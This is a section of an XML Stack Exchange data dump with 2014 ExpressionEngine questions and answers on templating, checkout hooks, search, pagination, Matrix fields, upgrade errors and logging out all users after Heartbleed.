  <row Id="21129" PostTypeId="2" ParentId="21105" CreationDate="2014-04-10T01:29:06.473" Score="2" Body="&lt;p&gt;Per the comments in the question you linked to, Store doesn't support mapped member fields during registration with Zoo Visitor (due to ZV not correctly handling member registration hooks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your only option is to use the workaround in that thread, or craft your own workaround.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, as I mentioned in your last question, you can simply create a login/registration page as step 2 of your checkout (it doesn't have to use the Store tags). That way your customers can create an account, then continue with the checkout. This is the way most websites work anyway.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-10T01:29:06.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21130" PostTypeId="2" ParentId="1038" CreationDate="2014-04-10T06:56:20.280" Score="4" Body="&lt;p&gt;Instead of modifying CK Editor files which would likely get nuked if you update the add on you are best to make a &lt;code&gt;customConfig&lt;/code&gt; in the &lt;strong&gt;Editor Configurations&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this and save this out to where you keep your front-end templates.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var typkitID = 'XXXXXX';&#xA;&#xA;CKEDITOR.on(&#xA;   'instanceReady',&#xA;   function(ev) {&#xA;      var $script = document.createElement('script'),&#xA;         $editor_instance = CKEDITOR.instances[ev.editor.name];&#xA;&#xA;      $script.src = '//use.typekit.com/'+typkitID+'.js';&#xA;      $script.onload = function() {&#xA;         try{$editor_instance.window.$.Typekit.load();}catch(e){}&#xA;      };&#xA;&#xA;      $editor_instance.document.getHead().$.appendChild($script);&#xA;   }&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the editor &lt;code&gt;Modules &amp;gt; WygwamEditor &amp;gt; Configurations &amp;gt; CONFIG-NAME&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aICXF.png&quot; alt=&quot;Change custom Config to use out typekit config.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will also need to point the editor to your CSS file and likely use a &lt;code&gt;bodyClass&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2732" LastActivityDate="2014-04-10T06:56:20.280" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21131" PostTypeId="1" AcceptedAnswerId="21135" CreationDate="2014-04-10T08:01:55.753" Score="1" ViewCount="93" Body="&lt;p&gt;Does anyone know if it's possible to log everyone out of ExpressionEngine to force everyone to login again on their next visit?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to the Heartbleed bug, I have noticed a few other sites/services doing something similar.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2014-04-10T14:39:47.987" Title="Log everyone out" Tags="|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21132" PostTypeId="2" ParentId="21131" CreationDate="2014-04-10T09:46:10.977" Score="1" Body="&lt;p&gt;I haven't tested this but you could probably start by clearing out the exp_sessions table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'm not certain this is going to help with regards to the Heartbleed issue. Has your server been patched? Was it vulnerable? Do you log users in via https?&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-04-10T09:46:10.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21135" PostTypeId="2" ParentId="21131" CreationDate="2014-04-10T14:39:47.987" Score="1" Body="&lt;p&gt;Deleting everything in the &lt;code&gt;exp_sessions&lt;/code&gt; table, and everything under &lt;code&gt;system/expressionengine/cache&lt;/code&gt; should be sufficient to log out all users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd also recommend changing &lt;code&gt;$config['encryption_key']&lt;/code&gt; in &lt;code&gt;system/expressionengine/config/config.php&lt;/code&gt; if you have that set.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-10T14:39:47.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21136" PostTypeId="1" CreationDate="2014-04-10T15:23:31.950" Score="1" ViewCount="25" Body="&lt;p&gt;I’m using a modified comment form as a way to collect and display company names on this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.drivesmartva.org/current-projects/distracted-driving/distracted-driving-safety-partners/&quot; rel=&quot;nofollow&quot;&gt;http://www.drivesmartva.org/current-projects/distracted-driving/distracted-driving-safety-partners/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The orderby tag has worked well until now, but suddenly started listing new entries in chronological order at the bottom of the existing alphabetical list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked and double-checked the code, and everything seems in order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:comment:entries orderby=&quot;comment&quot; sort=&quot;asc&quot; entry_id=&quot;{structure:page:entry_id}&quot;}&#xA;&amp;lt;li&amp;gt;{comment}&amp;lt;/li&amp;gt;&#xA;{/exp:comment:entries}&#xA;&amp;lt;/ul&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone run into a similar problem with comment order?&lt;/p&gt;&#xA;" OwnerUserId="2960" LastActivityDate="2014-04-10T15:23:31.950" Title="Alphabetical Comment Order?" Tags="|comments|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21137" PostTypeId="1" CreationDate="2014-04-10T16:42:21.180" Score="1" ViewCount="105" Body="&lt;p&gt;So, at the end of the checkout process (where it becomes an order) I want to fire off an SQL query wrapped inside AJW export (which creates an xml file). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, within the confines of ExpressionEngine and Expresso respectively how precisely would I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea would be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User hits submit --&gt; No Errors --&gt; Turn into order --&gt; Fire off AJE\SQL XML --&gt; Redirect user to whatever page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm guessing I'd use a hook or something like this, right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;store_order_complete_start&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions for how this might be most suitably accomplished? The documentation is kind of thin when it comes to this stuff. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, would it be possible for me to put the code in a template and do a 'next' on the checkout tag instead of 'return' so when the user hits &quot;confirm&quot; it takes them to a template with the code, which automatically creates the order and returns them to a page with the hash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm over thinking this, I'm totally open to any solution that proves to be simpler\superior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Have this figured out. Wrapped the PHP\AJE code inside a javascript function and had an even listener tied to the checkout submit button. Seems to be working just fine!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: No, this won't work. Because it hasn't been put into the database by the time this script executes... &lt;/p&gt;&#xA;" OwnerUserId="2559" LastEditorUserId="2559" LastEditDate="2014-04-10T19:55:57.897" LastActivityDate="2014-04-11T06:43:26.387" Title="Expresso Checkout conditional (use hook?)" Tags="|expresso-store|mysql|hook|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21139" PostTypeId="1" CreationDate="2014-04-10T18:09:27.843" Score="0" ViewCount="266" Body="&lt;p&gt;I'm trying to get a simple search form to work. But I get an error: The action you have requested is invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what I'm missing here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stash partial with search form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;section&amp;gt;&#xA;            {exp:search:simple_form channel=&quot;blog&quot; search_in=&quot;everywhere&quot; result_page=&quot;blog/search&quot;}&#xA;            &amp;lt;h2&amp;gt;&amp;lt;label for=&quot;search&quot;&amp;gt;Search&amp;lt;/label&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;searchField&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;text&quot; name=&quot;keywords&quot; id=&quot;search&quot; value=&quot;&quot; size=&quot;18&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot;&amp;gt;Go!&amp;lt;/button&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /.searchField --&amp;gt;&#xA;            {/exp:search:simple_form}&#xA;        &amp;lt;/section&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stash viewmodel for search results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:blog}&#xA;&#xA;{exp:stash:set name=&quot;body_class&quot;}blog{/exp:stash:set}&#xA;&#xA;{exp:stash:set_list name=&quot;detail_data&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;&#xA;    {exp:search:search_results}&#xA;&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:excerpt}{excerpt}{/stash:excerpt}&#xA;        {stash:author}{author}{/stash:author}&#xA;        {stash:post_date}{entry_date format='%M %d, %Y'}{/stash:post_date}&#xA;&#xA;    {/exp:search:search_results}&#xA;&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes no difference.&#xA;    /&lt;em&gt;TEMP&lt;/em&gt;/&#xA;    $config['secure_forms'] = &quot;n&quot;;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help me out! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2146" LastActivityDate="2015-02-06T04:23:21.290" Title="EE 2.8.1 Search. The action you have requested is invalid" Tags="|search|2.8|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21140" PostTypeId="1" CreationDate="2014-04-10T18:22:12.950" Score="0" ViewCount="79" Body="&lt;p&gt;I've added the page padding parameter to my pagination tags but it's still rendering only 5 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are hundreds of pages so I know that it's not an issue with the amount of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;{if {total_pages} &amp;gt; 1}&#xA;&amp;lt;nav class=&quot;centered&quot; role=&quot;toolbar&quot;&amp;gt;&#xA;&amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;{pagination_links page_padding=&quot;10&quot;}&#xA;{previous_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/previous_page}&#xA;&#xA;{page}&amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/page}&#xA;&#xA;{next_page}&amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;{/next_page}&#xA;{/pagination_links}&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;/nav&amp;gt;&#xA;{/if}&#xA;{/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-04-10T18:22:12.950" Title="Page Padding not working" Tags="|pagination|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21141" PostTypeId="2" ParentId="21137" CreationDate="2014-04-10T18:53:10.487" Score="2" Body="&lt;p&gt;I think either method would work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hook is going to be the more nerdy (read &quot;hard&quot;) way to do it. I use the store_order_complete_end hook to trigger code that notifies other systems of the order. Depend ing on how AJW Export is written, you may be able to fire it off from your code in the extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easier approach would be to do it in the template. You can set your return parameter on the checkout tag to &lt;code&gt;return=&quot;cart/confirmation/ORDER_HASH&quot;&lt;/code&gt; (obviously using your template group and name). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the confirmation template you could just fire off a plugin, which will have access to the hash in the URL to find the order and do whatever DB queries you need done.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-04-10T18:53:10.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21143" PostTypeId="1" AcceptedAnswerId="21153" CreationDate="2014-04-10T19:24:41.740" Score="1" ViewCount="123" Body="&lt;p&gt;I'm trying to brainstorm the best way to setup a product search functionality on a site in development. I thought maybe I would have one entry per product, then each variation of that product would be in its own Matrix row (columns = item#, color, woodtype, image url, etc.). So if I searched for &quot;Tables&quot; with color &quot;White&quot;, woodtype &quot;Pine&quot;, I could return the image of that product variation as well as the rest of the variation's row content(Only ever finding the one exact matching result). I'm looking to use a third-party search plugin, so Low Search or SolSpace Super Search. I'm also hoping to eventually return the result via Ajax if one of those plugins makes that easier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or maybe each variation variable is a category? Then I could search for &quot;Tables&quot; with &quot;White&quot; set as the color category, &quot;Pine&quot; set as the woodtype category, etc.? Or use Tags?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on the best way to accomplish this would be great. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="603" LastEditorUserId="603" LastEditDate="2014-04-10T19:33:29.980" LastActivityDate="2014-04-11T06:58:00.903" Title="Is it possible to return matrix row/column content from a third-party search plugin?" Tags="|matrix|solspace|low-search|supersearch|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21145" PostTypeId="1" CreationDate="2014-04-10T20:32:24.533" Score="1" ViewCount="191" Body="&lt;p&gt;I'm having a problem with checkboxes displaying above their label when using &lt;code&gt;{freeform:field:FIELD_NAME}&lt;/code&gt; for checkbox_group field types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried applying classes by using &lt;code&gt;attr:NAME&lt;/code&gt; as well as wrapper_open/close and row_wrapper_open/close options, but nothing is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to make my checkboxes display inline with their labels that I'm overlooking?&lt;/p&gt;&#xA;" OwnerUserId="1925" LastActivityDate="2014-10-02T16:21:27.440" Title="Freeform Pro checkbox group displaying checkbox above label" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21147" PostTypeId="1" CreationDate="2014-04-11T00:37:56.157" Score="0" ViewCount="231" Body="&lt;p&gt;I'm on EE 2.8.1 and Discussion Forum 3.1.15 and when I try unsubscribe from forum threads I get this error message: &lt;em&gt;This form has expired. Please refresh and try again.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to updated the config.php file with the info on this thread without success: &#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/20686/error-after-install/20733#20733&quot;&gt;Error After Install&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an EE bug that can be fixed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1132" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2015-02-09T20:19:04.467" Title="Discussion Forum 3.1.15 - This form has expired" Tags="|ee2|ee2-upgrades|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21148" PostTypeId="2" ParentId="21143" CreationDate="2014-04-11T00:50:49.080" Score="1" Body="&lt;p&gt;If you set your Matrix columns as &quot;searchable&quot;, data in the Matrix field get saved in exp_channel_data, which Super Search can use in its searches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then search in your Matrix field for the word &quot;Pine&quot;, for example, and if there is a match, use regular Matrix tags to pull out the specific row containing &quot;Pine&quot;.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-04-11T00:50:49.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21149" PostTypeId="1" CreationDate="2014-04-11T04:32:36.030" Score="0" ViewCount="307" Body="&lt;p&gt;Just wondering if anyone else has seen lots of error messages appearing at the top of their pages (when logged in) after upgrading to 2.8.1? (I jumped a few versions with this upgrade, so it may affect other versions, too.) Errors such as&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: User Warning&#xA;Message: Invalid EE Conditional Variable: {if &quot;&quot;y&quot;}&#xA;Filename: libraries/Functions.php&#xA;Line Number: 2640&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/username/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 442&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this one multiple times per page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined variable: category_name&#xA;Filename: helpers/segment_helper.php&#xA;Line Number: 98&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know what to do about all this, so any suggestions appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1048" LastActivityDate="2014-04-11T20:44:03.907" Title="Many errors showing after 2.8.1 upgrade" Tags="|upgrade|php-errors|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21150" PostTypeId="1" CreationDate="2014-04-11T06:07:34.563" Score="1" ViewCount="127" Body="&lt;p&gt;I want to find if a string contains a word ot not?&#xA;It is a pretty simple thing if i want to do it in php.But When it comes to EE you need some plugins to do the job of strpos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have two plugins streng and phpstringfun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But both of them have terrible documentation.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:phpstringfun function=&quot;strrpos&quot; par1=&quot;videos&quot;}Videos/blah/blah{/exp:phpstringfun}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:streeng find='this'}This is a test string{/exp:streeng}&quot;}&#xA;match exist&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get wrong results for both of them.My php stage is input.&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastEditorDisplayName="user2133" LastEditDate="2014-04-11T15:00:36.657" LastActivityDate="2014-05-11T16:45:24.847" Title="If condition for phpstringfun or streng?" Tags="|ee2|ifelse|phpstringfun|string|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21151" PostTypeId="2" ParentId="21137" CreationDate="2014-04-11T06:43:26.387" Score="2" Body="&lt;p&gt;I recently made an extension to do this, so I've put it up on GitHub for others to learn from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/expressodev/store_order_export&quot; rel=&quot;nofollow&quot;&gt;https://github.com/expressodev/store_order_export&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, you want to use the &lt;code&gt;store_order_complete_end&lt;/code&gt; hook, which runs when an order is marked as &quot;complete&quot; (when payment is successful). From there it is easy to write an extension which generates any XML (or other reporting format) necessary. The example extension should easily be modified to suit your particular needs.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-04-11T06:43:26.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21152" PostTypeId="2" ParentId="21149" CreationDate="2014-04-11T06:50:28.000" Score="3" Body="&lt;p&gt;The first error indicates that some if-statement in your template is wrong. Maybe you have a &quot; sign to much? If this error is on all pages maybe some embeded template has it - if not it can be in a specific template. See this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;&quot;y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second PHP-error just tells you theres been some output to the browser before the standard output (the template) has been sent. So you can ignore that one for now. It'll disappear when the others are corrected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the last error I would go through my template to see how your are using the variable {category_name} in your templates.&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2014-04-11T06:50:28.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21153" PostTypeId="2" ParentId="21143" CreationDate="2014-04-11T06:58:00.903" Score="1" Body="&lt;p&gt;In Low Search, if you want the Matrix data to be searchable via &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#keywords&quot; rel=&quot;nofollow&quot;&gt;Keywords&lt;/a&gt;, you'd have to use the same approach as Super Search: set the columns as &quot;searchable&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can also use Low Search's &lt;a href=&quot;http://gotolow.com/addons/low-search/docs/filters#field-search&quot; rel=&quot;nofollow&quot;&gt;Field Search filter&lt;/a&gt; to target specific Matrix columns, regardless of whether they're marked as searchable or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both searching methods will return the &lt;em&gt;entry&lt;/em&gt; the Matrix field belongs to. To return just the Matrix row within that entry, you'd have to use &lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html#tag-parameters&quot; rel=&quot;nofollow&quot;&gt;its search parameters&lt;/a&gt; to pull out specific rows.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-04-11T06:58:00.903" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21154" PostTypeId="2" ParentId="21139" CreationDate="2014-04-11T08:18:21.200" Score="0" Body="&lt;p&gt;Have you installed the &quot;Search&quot; add-on?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Had the same issue, but the search module wasn't installed.&lt;/p&gt;&#xA;" OwnerUserId="911" LastActivityDate="2014-04-11T08:18:21.200" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21155" PostTypeId="1" CreationDate="2014-04-11T10:20:37.857" Score="0" ViewCount="99" Body="&lt;p&gt;I've just been contacted by a client who is finding that images are missing from a file field when an already published entry is reopened. Does anyone have an idea why this could be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The file field is within Matrix 2.2.4, EE is v2.4. Original installation was around two years ago.&lt;/p&gt;&#xA;" OwnerUserId="2024" LastEditorUserId="2024" LastEditDate="2014-04-11T10:27:05.547" LastActivityDate="2014-05-11T13:45:23.670" Title="Images disappear from entry" Tags="|matrix|file-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21156" PostTypeId="1" AcceptedAnswerId="21159" CreationDate="2014-04-11T10:53:01.117" Score="1" ViewCount="118" Body="&lt;p&gt;EE2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a native relationship field 'related_products' pulling in multiple entries from a products channel. &#xA;Most products are in 2 top level categories - group_id 1 and group_id 2.&#xA;I want to pass the category_url_title in my link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below returns both the categories in the url: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;featured_products&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; url_title=&quot;featured&quot; status=&quot;open&quot; disable=&quot;pagination|member_data|category_fields&quot;}&#xA;{related_products limit=&quot;12&quot;}&#xA;    &amp;lt;a href=&quot;{site_url}brands/{related_products:categories}{category_url_title}{/related_products:categories}/{related_products:url_title}&quot; title=&quot;View product details&quot;&amp;gt;LINK&amp;lt;/a&amp;gt;&#xA;{/related_products}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I add 'related_products:categories limit=&quot;1&quot;' to the code as below, it will return just one category - always from only group_id 1.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;featured_products&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; url_title=&quot;featured&quot; status=&quot;open&quot; disable=&quot;pagination|member_data|category_fields&quot;}&#xA;{related_products limit=&quot;12&quot;}&#xA;    &amp;lt;a href=&quot;{site_url}brands/{related_products:categories limit=&quot;1&quot;}{category_url_title}{/related_products:categories}/{related_products:url_title}&quot; title=&quot;View product details&quot;&amp;gt;LINK&amp;lt;/a&amp;gt;&#xA;{/related_products}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't seem to find a way to filter the 'related_products:categories' to show the second group of categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="553" LastActivityDate="2014-04-11T14:18:39.700" Title="filter related entries by category" Tags="|categories|relationships|related-entries|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21157" PostTypeId="2" ParentId="20287" CreationDate="2014-04-11T11:54:56.537" Score="0" Body="&lt;p&gt;Turns out our server didn't have the required PHP version for 1.6 of transcribe&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2014-04-11T11:54:56.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21158" PostTypeId="2" ParentId="21155" CreationDate="2014-04-11T13:29:43.597" Score="1" Body="&lt;p&gt;Upgrading to Matrix 2.5.10 fixed the problem &lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2014-04-11T13:29:43.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21159" PostTypeId="2" ParentId="21156" CreationDate="2014-04-11T14:18:39.700" Score="1" Body="&lt;p&gt;I'm not sure I get what you finally want, but to show the second group of categories try using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#show-group&quot; rel=&quot;nofollow&quot;&gt;show_group&lt;/a&gt; parameter to the categories tag (with the category group id):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{related_products:categories show_group=&quot;2&quot;}{category_url_title}{/related_products:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-04-11T14:18:39.700" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21160" PostTypeId="1" CreationDate="2014-04-11T14:21:22.663" Score="1" ViewCount="111" Body="&lt;p&gt;So I have an issue that I feel &lt;em&gt;should&lt;/em&gt; be pretty simple. I'm trying to display a list of events in chronological order. On multi-day events I want to display the date in this type of format: &quot;Month Day - Month Day&quot; (example: April 11 - April 12.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm using: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:calendar:cal&#xA;            {if segment_2 == ''}&#xA;                date_range_start=&quot;today&quot;&#xA;                date_range_end=&quot;year-month-last&quot;&#xA;&#xA;            {/if}&#xA;            {if segment_2 != &quot;&quot;}    &#xA;                date_range_start=&quot;{segment_2}-{segment_3}-01&quot; &#xA;                date_range_end=&quot;{segment_2}-{segment_3}-last&quot;&#xA;            {/if}   &#xA;        }&#xA;        {events}&#xA;            &amp;lt;h4 class=&quot;event-title&quot;&amp;gt;&amp;lt;a href=&quot;/events/details/{event_url_title}&quot;&amp;gt;{event_title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;            &amp;lt;time class=&quot;event-date&quot;&amp;gt;&#xA;                {if event_multi_day}&#xA;                    {event_start_date format=&quot;%F %j&quot;} &amp;amp;ndash; {event_end_date format=&quot;%F %j&quot;}&#xA;                {if:else}&#xA;                    {event_start_date format=&quot;%F %j&quot;}&#xA;                {/if}&#xA;            &amp;lt;/time&amp;gt;&#xA;            &amp;lt;p class=&quot;event-summary&quot;&amp;gt;{event_summary}&amp;lt;/p&amp;gt;&#xA;        {/events}&#xA;        {/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The {event_end_date} refuses to display. I've tried this multiple ways with no success, and I'm starting to feel like I'm doing something silly and I've looked at it so long I'm just blind to the problem. Surely this variable hasn't been excluded from availability inside of calendar:cal.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I use exp:calendar:events with that section of code to display the dates, it works perfectly. &lt;/p&gt;&#xA;" OwnerUserId="2964" LastActivityDate="2014-04-11T14:21:22.663" Title="Solspace Calendar - event_end_date not displaying in exp:calendar:cal" Tags="|solspace-calendar|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
